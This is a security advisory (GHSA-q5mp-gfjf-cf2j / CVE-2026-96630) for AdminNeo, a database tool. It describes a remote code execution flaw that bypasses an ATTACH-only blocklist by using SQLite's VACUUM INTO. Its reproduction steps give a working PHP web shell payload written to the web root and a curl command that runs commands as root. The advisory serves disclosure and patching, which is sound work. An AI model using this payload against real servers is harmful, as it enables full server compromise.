GHSA-q5mp-gfjf-cf2j
Suggest an improvement- Source
- https://github.com/advisories/GHSA-q5mp-gfjf-cf2j
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-q5mp-gfjf-cf2j/GHSA-q5mp-gfjf-cf2j.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-q5mp-gfjf-cf2j
- Aliases
-
- CVE-2026-96630
- Published
- 2026-10-30T22:51:37Z
- Modified
- 2026-10-30T23:00:04Z
- Severity
-
- 7.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
- Summary
- AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
- Details
-
Summary
Adminer blocks
ATTACHqueries for SQLite to prevent arbitrary file creation. However,VACUUM INTOis not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.Originally reported in Adminer: GHSA-q4f2-39gr-45jh
Root Cause
sql.inc.php, line 146:
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) { // blocked }Only
ATTACHis in the blocklist.VACUUM INTO(available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.Steps To Reproduce
1. Login to SQLite
- Open AdminNeo and select driver: SQLite
- Login and create a new database (e.g.,
stage.db)
2. Inject PHP code and write the shell
Navigate to SQL command and execute:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int); VACUUM INTO '/var/www/html/shell.php';The SQLite file is written to
/var/www/html/shell.php. The table name containing<?phpappears as raw bytes in the file. PHP's parser finds and executes it.3. Execute commands
curl "http://TARGET/shell.php?c=id" # uid=0(root) gid=0(root) groups=0(root)Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
- Database specific
{ "cwe_ids": [], "github_reviewed": true, "github_reviewed_at": "2026-10-30T22:51:37Z", "nvd_published_at": null, "severity": "HIGH" }- References
Affected packages
Packagist / adminneo-org/adminneo
Package
- Name
- adminneo-org/adminneo
- Purl
- pkg:composer/adminneo-org/adminneo
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0 Unknown introduced version / All previous versions are affectedFixed5.5.1